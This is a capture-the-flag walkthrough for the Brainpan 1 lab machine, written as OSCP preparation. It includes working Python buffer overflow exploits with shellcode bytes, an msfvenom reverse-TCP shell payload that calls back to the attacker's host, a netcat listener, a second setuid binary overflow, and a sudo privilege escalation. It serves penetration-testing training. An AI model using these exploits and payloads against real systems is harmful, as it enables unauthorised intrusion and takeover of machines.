OSCP preparation buffer over flow Brainpan: 1 Walkthrough


First things first, I ran netdiscover to get the IP of the target machine.

root@kali:~# netdiscover -i eth0 -r 172.16.119.0/24

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 3 hosts. Total size: 240
________________________________________________________________
IP At MAC Address Count Len MAC Vendor
----------------------------------------------------------------
172.16.119.1 00:50:56:c0:00:01 02 120 VMWare, Inc.
172.16.119.139 00:0c:29:3a:cf:4b 01 060 VMware, Inc.
172.16.119.254 00:50:56:f1:01:f8 01 060 VMWare, Inc.
Next was a quick Nmap scan to determine the attack surface.
root@kali:~# nmap -sT -sV -O 172.16.119.139

Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-03 08:57 EDT
Nmap scan report for 172.16.119.139
Host is up (0.00036s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port9999-TCP:V=6.47%I=7%D=8/3%Time=55BF6567%P=x86_64-unknown-linux-gnu%
SF:r(NULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\
SF:|_\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\
SF:x20\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_
SF:\|\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_
SF:\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x
SF:20\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\
SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x
SF:20\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINP
SF:AN\x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENT
SF:ER\x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:3A:CF:4B (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.84 seconds
I decided to check what was running on port 9999 before the HTTP server, but it looked to just be some sort of password protected area.
root@kali:~# telnet 172.16.119.139 9999
Trying 172.16.119.139...
Connected to 172.16.119.139.
Escape character is '^]'.
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|

[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD

>> password
ACCESS DENIED
Connection closed by foreign host.
The home page didn't seem to be terribly useful either though, as it was just an image about vulnerabilities and protection.

Dirbuster proved a little more useful though, as it found a /bin directory with an executable in it.

Upon download, it appeared that this was the same application as the one running on the remote server.

Able to run the server locally, I decided to whip up a quick Python script to send my requests to the server.
import socket
host
= "127.0.0.1"
port
= 9999

payload
= "password"

s
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s
.connect((host, port))
print s.recv(1024)
s
.send(payload)
print s.recv(1024)
I was indeed able to send requests to the server, and view the responses. Additionally, it made mention of get_reply copying the password to a buffer, so I figured this would be my point of attack for a buffer overflow.
c:\>brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
[+] received connection.
[get_reply] s = [password]
[get_reply] copied 8 bytes to buffer
[+] check is -1
[get_reply] s = [password]
[get_reply] copied 8 bytes to buffer
Next up was to change my Python script to try and overflow the get_reply buffer.
import socket
host
= "127.0.0.1"
port
= 9999

payload
= "A" * 1000

s
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s
.connect((host, port))
print s.recv(1024)
s
.send(payload)
print s.recv(1024)
This seemed to work and ended up corrupting the buffer as expected.
[+] received connection.
[get_reply] s = [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH (]
[get_reply] copied 1003 bytes to buffer
Additionally, I got a crash and was able to overwrite EIP with 0x41414141, so I knew I was on the right track.


As a side note, I actually managed to find the password for the executable during my debugging process, which would hopefully make things go even quicker.

Unfortunately, this password didn't actually seem to unlock any functionality or command execution, so it was just a worthless rabbit hole.
C:\netcat-1.11>nc.exe 127.0.0.1 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|

[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD

>> shitstorm
ACCESS GRANTED
The next step for me was to find the actual size of the buffer that I was overwriting, so I updated my python script with a cyclical pattern.
import socket
host
= "127.0.0.1"
port
= 9999

payload
= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

s
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s
.connect((host, port))
print s.recv(1024)
s
.send(payload)
print s.recv(1024)
With my script updated, I was again able to get the program to crash with control over EIP.

A quick check gave me an offset of 524, so it was time to modify my exploit.
root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 35724134 1000
[*] Exact match at offset 524
I just wanted to verify that the offset was correct before proceeding, so I updated the buffer and put 'BBBB' where I expected EIP to be.
import socket
host
= "127.0.0.1"
port
= 9999

payload
= "A" * 524
payload
+= "BBBB"
payload
+= "C" * 200

s
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s
.connect((host, port))
print s.recv(1024)
s
.send(payload)
print s.recv(1024)
As expected, EIP was overwritten with 0x424242, so I had full control of the instruction pointer.

I was also able to find a JMP ESP in the actual brainpan.exe, which made my life even easier.

With everything in place (and my win-exec-calc shellcode), it was time to modify my exploit
import socket
host
= "127.0.0.1"
port
= 9999

# win-exec-calc
shellcode
= ("\x31\xc9\x49\x31\xd2\xe3\x47\x52\x68\x63\x61\x6c\x63\x89\xe6" + "\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30" +
"\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01" +
"\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c" +
"\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c" +
"\xae\xff\xd7\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48\x83" +
"\xec\x28\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48" +
"\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28" +
"\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17" +
"\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74" +
"\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7")

payload
= "A" * 524
payload
+= "\xF3\x12\x17\x31"
payload
+= "\x90" * 16
payload
+= shellcode

s
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s
.connect((host, port))
print s.recv(1024)
s
.send(payload)
print s.recv(1024)
Once everything was setup and run, I was able to get the program to crash and open calc.exe, so I knew everything was working.

Heading back over to the vulnerable machine though, I knew I would need to use an updated shellcode. Knowing that, I fired up msfvenom to grab a reverse TCP shell, and updated my exploit.
root@kali:~/Downloads# msfvenom -p linux/x86/shell_reverse_tcp lhost=172.16.119.128 lport=4444 -f python -b '\x00\x0a\x0d'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
import socket
host
= "172.16.119.139"
port
= 9999

buf
= ""
buf
+= "\xba\x26\x49\xd3\x45\xda\xc9\xd9\x74\x24\xf4\x58\x29"
buf
+= "\xc9\xb1\x12\x31\x50\x12\x83\xe8\xfc\x03\x76\x47\x31"
buf
+= "\xb0\x47\x8c\x42\xd8\xf4\x71\xfe\x75\xf8\xfc\xe1\x3a"
buf
+= "\x9a\x33\x61\xa9\x3b\x7c\x5d\x03\x3b\x35\xdb\x62\x53"
buf
+= "\x6a\x0b\xe2\x23\x1a\x2e\x0c\x32\x87\xa7\xed\x84\x51"
buf
+= "\xe8\xbc\xb7\x2e\x0b\xb6\xd6\x9c\x8c\x9a\x70\x30\xa2"
buf
+= "\x69\xe8\x26\x93\xef\x81\xd8\x62\x0c\x03\x76\xfc\x32"
buf
+= "\x13\x73\x33\x34"

payload
= "A" * 524
payload
+= "\xF3\x12\x17\x31"
payload
+= "\x90" * 48
payload
+= buf

s
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s
.connect((host, port))
print s.recv(1024)
s
.send(payload)
print s.recv(1024)
Once the exploit was prepared, I started my netcat listener, and grabbed the reverse shell.
root@kali:~# nc -l -vv -p 4444
listening on [any] 4444 ...
172.16.119.139: inverse host lookup failed: Unknown server error : Connection timed out
connect to [172.16.119.128] from (UNKNOWN) [172.16.119.139] 48612
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
python -c 'import pty; pty.spawn("/bin/bash");'
puck@brainpan:/home/puck$
While my current user was only able to run the anansi_util as root, there did appear to be a validate application inside of /usr/local/bin that was setuid for the anansi user.
puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$ find / -perm -g=s -o -perm -4000 ! -type l -exec ls -ld {} \; 2>/dev/null
/dev/null
-rwsr-xr-x 1 root root 63632 Sep 6 2012 /bin/umount
-rwsr-xr-x 1 root root 31124 Sep 6 2012 /bin/su
-rwsr-xr-x 1 root root 88768 Sep 6 2012 /bin/mount
-rwsr-xr-x 1 root root 30112 Jun 11 2012 /bin/fusermount
-rwsr-xr-x 1 root root 39124 Oct 2 2012 /bin/ping6
-rwsr-xr-x 1 root root 34780 Oct 2 2012 /bin/ping
-rwsr-xr-x 2 root root 115140 Feb 27 2013 /usr/bin/sudo
-rwsr-xr-x 1 root root 60344 Jun 18 2012 /usr/bin/mtr
-rwsr-xr-x 1 root root 30936 Sep 6 2012 /usr/bin/newgrp
-rwsr-xr-x 1 root root 31756 Sep 6 2012 /usr/bin/chsh
-rwsr-xr-x 2 root root 115140 Feb 27 2013 /usr/bin/sudoedit
-rwsr-xr-x 1 root root 40300 Sep 6 2012 /usr/bin/chfn
-rwsr-xr-x 1 root root 14020 Oct 2 2012 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root lpadmin 13672 Dec 4 2012 /usr/bin/lppasswd
-rwsr-xr-x 1 root root 41292 Sep 6 2012 /usr/bin/passwd
-rwsr-xr-x 1 root root 57964 Sep 6 2012 /usr/bin/gpasswd
-rwsr-xr-- 1 root dip 301944 Sep 26 2012 /usr/sbin/pppd
-rwsr-xr-x 1 anansi anansi 8761 Mar 4 2013 /usr/local/bin/validate
-rwsr-xr-- 1 root messagebus 317564 Oct 3 2012 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 248064 Sep 6 2012 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5452 Jun 25 2012 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 9740 Oct 3 2012 /usr/lib/pt_chown
It looked like the validate application took some sort of input and passed it through a validate function, but strings (and GDB) weren't actually located on the vulnerable machine.
puck@brainpan:/home/puck$ cd /usr/local/bin
cd /usr/local/bin
puck@brainpan:/usr/local/bin$ validate
validate
usage validate
puck@brainpan:/usr/local/bin$ strings validate
strings validate
The program 'strings' can be found in the following packages:
* binutils
* binutils-multiarch
Ask your administrator to install one of them
That said, I was able to cause a segfault in the application, so this looked to be another application to exploit.
puck@brainpan:/usr/local/bin$ validate `python -c 'print "A"'`
validate `python -c 'print "A"'`
validating input...passed.
puck@brainpan:/usr/local/bin$ validate `python -c 'print "A"*10000'`
validate `python -c 'print "A"*10000'`
Segmentation fault
I was able to move the application back over to my attack box though, as it would be easier to debug over there.
puck@brainpan:/usr/local/bin$ scp validate root@172.16.119.128:/root/validate
The authenticity of host '172.16.119.128 (172.16.119.128)' can't be established.
ECDSA key fingerprint is 9e:a4:08:7d:97:8b:94:a6:05:84:61:59:89:3a:be:51.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '172.16.119.128' (ECDSA) to the list of known hosts.
root@172.16.119.128's password:

validate 100% 8761 8.6KB/s 00:00
With a similar, simple script, I was indeed able to overflow the buffer as expected and gain control over EIP (0x41414141).
root@kali:~# gdb validate
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /root/validate...done.
(gdb) r `python brainpan2.py`
Starting program: /root/validate `python brainpan2.py`
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf76f9000

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0xffd0c128 -3096280
ecx 0x0 0
edx 0x2711 10001
ebx 0x41414141 1094795585
esp 0xffd0c1a0 0xffd0c1a0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Unfortunately, there were a number of characters that didn't pass validation, so I was unable to use a cyclical pattern string to easily get the EIP offset. That said, with a bit of binary searching, I was able to get a better idea of where the EIP offset was.
payload = "A"*100
payload
+= "B"*15
payload
+= "C"*4
payload
+= "D"*4
payload
+= "E"*8
payload
+= "G"*25
payload
+= "H"*50
payload
+= "I"*200

print payload
(gdb) r `python brainpan2.py`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/validate `python brainpan2.py`

Program received signal SIGSEGV, Segmentation fault.
0x44434343 in ?? ()
I updated my script with the expected offset (116 since EIP was overwritten with 3 Bs and then a C), and ran it again to verify that my EIP location was correct.
root@kali:~# cat brainpan2.py
payload = "A"*116
payload += "B"*4
payload += "C"*180

print payload

< ... snip ... >


(gdb) r `python brainpan2.py`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/validate `python brainpan2.py`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
After a bit more debugging, it seemed that I had a bit more control over EAX than ESP, so I would hopefully be able to jump to that instead.
root@kali:~# gdb validate
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /root/validate...done.
(gdb) r `python brainpan2.py`
Starting program: /root/validate `python brainpan2.py`
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf773e000

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax 0xffca47b8 -3520584
ecx 0x0 0
edx 0x12d 301
ebx 0x41414141 1094795585
esp 0xffca4830 0xffca4830
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/x $esp
0xffca4830: 0x43434343
(gdb) x/100x $esp
0xffca4830: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4840: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4850: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4860: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4870: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4880: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4890: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca48a0: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca48b0: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca48c0: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca48d0: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca48e0: 0x43434343 0x00000000 0xffca4904 0x080485b0
0xffca48f0: 0x080485a0 0xf774f060 0xffca48fc 0xf775d918
0xffca4900: 0x00000002 0xffca65d8 0xffca65e7 0x00000000
0xffca4910: 0xffca6714 0xffca6727 0xffca675a 0xffca6765
0xffca4920: 0xffca6775 0xffca67c4 0xffca67d6 0xffca6808
0xffca4930: 0xffca6812 0xffca6d33 0xffca6d61 0xffca6daf
0xffca4940: 0xffca6dbd 0xffca6dc8 0xffca6de0 0xffca6e22
0xffca4950: 0xffca6e31 0xffca6e3b 0xffca6e4c 0xffca6e63
0xffca4960: 0xffca6e78 0xffca6e81 0xffca6e94 0xffca6e9f
0xffca4970: 0xffca6ea7 0xffca6ed3 0xffca6ee0 0xffca6f42
0xffca4980: 0xffca6f7f 0xffca6f8c 0xffca6f99 0xffca6fb2
0xffca4990: 0x00000000 0x00000020 0xf773ed00 0x00000021
---Type to continue, or q to quit---
0xffca49a0: 0xf773e000 0x00000010 0x0fabfbff 0x00000006
0xffca49b0: 0x00001000 0x00000011 0x00000064 0x00000003
(gdb) x/90x $eax
0xffca47b8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffca47c8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffca47d8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffca47e8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffca47f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffca4808: 0x41414141 0x41414141 0x41414141 0x41414141
0xffca4818: 0x41414141 0x41414141 0x41414141 0x41414141
0xffca4828: 0x41414141 0x42424242 0x43434343 0x43434343
0xffca4838: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4848: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4858: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4868: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4878: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4888: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca4898: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca48a8: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca48b8: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca48c8: 0x43434343 0x43434343 0x43434343 0x43434343
0xffca48d8: 0x43434343 0x43434343 0x43434343 0x00000000
0xffca48e8: 0xffca4904 0x080485b0 0x080485a0 0xf774f060
0xffca48f8: 0xffca48fc 0xf775d918 0x00000002 0xffca65d8
0xffca4908: 0xffca65e7 0x00000000 0xffca6714 0xffca6727
0xffca4918: 0xffca675a 0xffca6765
(gdb) q
A debugging session is active.

Inferior 1 [process 9984] will be killed.

Quit anyway? (y or n) y
Additionally, after scanning the binary for jumps, it appeared that I would only be able to jump to EAX, and not ESP, anyway.
root@kali:~# msfelfscan -j esp validate
[validate]
root@kali:~# msfelfscan -j eax validate
[validate]
0x080484af call eax
0x0804862b call eax
With all of this in mind, it was time for me to generate a new shellcode (CMD since I was already on the target machine) and update the exploit.
root@kali:~# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0a\x0d'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)

< ... snip ... >

root@kali:~# cat brainpan2.py
payload = ""
payload += "\xda\xd1\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x0b\xbd\xc8"
payload += "\x44\x38\xb5\x31\x6f\x1a\x83\xef\xfc\x03\x6f\x16\xe2"
payload += "\x3d\x2e\x33\xed\x24\xfd\x25\x65\x7b\x61\x23\x92\xeb"
payload += "\x4a\x40\x35\xeb\xfc\x89\xa7\x82\x92\x5c\xc4\x06\x83"
payload += "\x57\x0b\xa6\x53\x47\x69\xcf\x3d\xb8\x1e\x67\xc2\x91"
payload += "\xb3\xfe\x23\xd0\xb4"

payload += "\x90" * (116-70) # NOPs to fill rest of offset

#payload += "BBBB"

payload += "\xaf\x84\x04\x08" # call eax

payload += "\x90"*180

print payload
Just to make sure the exploit worked, I ran it on my attacker box one last time and got a shell.
root@kali:~# ./validate `python brainpan2.py`
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
Heading back over to the vulnerable machine, I was indeed able to run the exploit and obtain a shell as the anansi user.
puck@brainpan:/usr/local/bin$ ./validate `python ~/exploit.py`
./validate `python ~/exploit.py`
$ id
id
uid=1002(puck) gid=1002(puck) euid=1001(anansi) groups=1001(anansi),1002(puck)
Remembering the information from before, I headed over to anansi's home directory to check out the anansi_util executable.
$ cd /home/anansi
cd /home/anansi
$ ls -al
ls -al
total 32
drwx------ 4 anansi anansi 4096 Mar 4 2013 .
drwxr-xr-x 5 root root 4096 Mar 4 2013 ..
-rw------- 1 anansi anansi 0 Mar 5 2013 .bash_history
-rw-r--r-- 1 anansi anansi 220 Mar 4 2013 .bash_logout
-rw-r--r-- 1 anansi anansi 3637 Mar 4 2013 .bashrc
drwx------ 2 anansi anansi 4096 Mar 4 2013 .cache
-rw------- 1 root root 39 Mar 4 2013 .lesshst
-rw-r--r-- 1 anansi anansi 675 Mar 4 2013 .profile
drwxrwxr-x 2 anansi anansi 4096 Mar 5 2013 bin
$ cd bin
cd bin
$ ls -al
ls -al
total 16
drwxrwxr-x 2 anansi anansi 4096 Mar 5 2013 .
drwx------ 4 anansi anansi 4096 Mar 4 2013 ..
-rwxr-xr-x 1 anansi anansi 7256 Mar 4 2013 anansi_util
Since anansi_util was writable by anansi, and was executable by root with no password, this would be a simple privilege escalation. I copied over /bin/bash to replace anansi_util, and was able to sudo it as root, giving me my root shell.
$ mv anansi_util anansi_util.bak
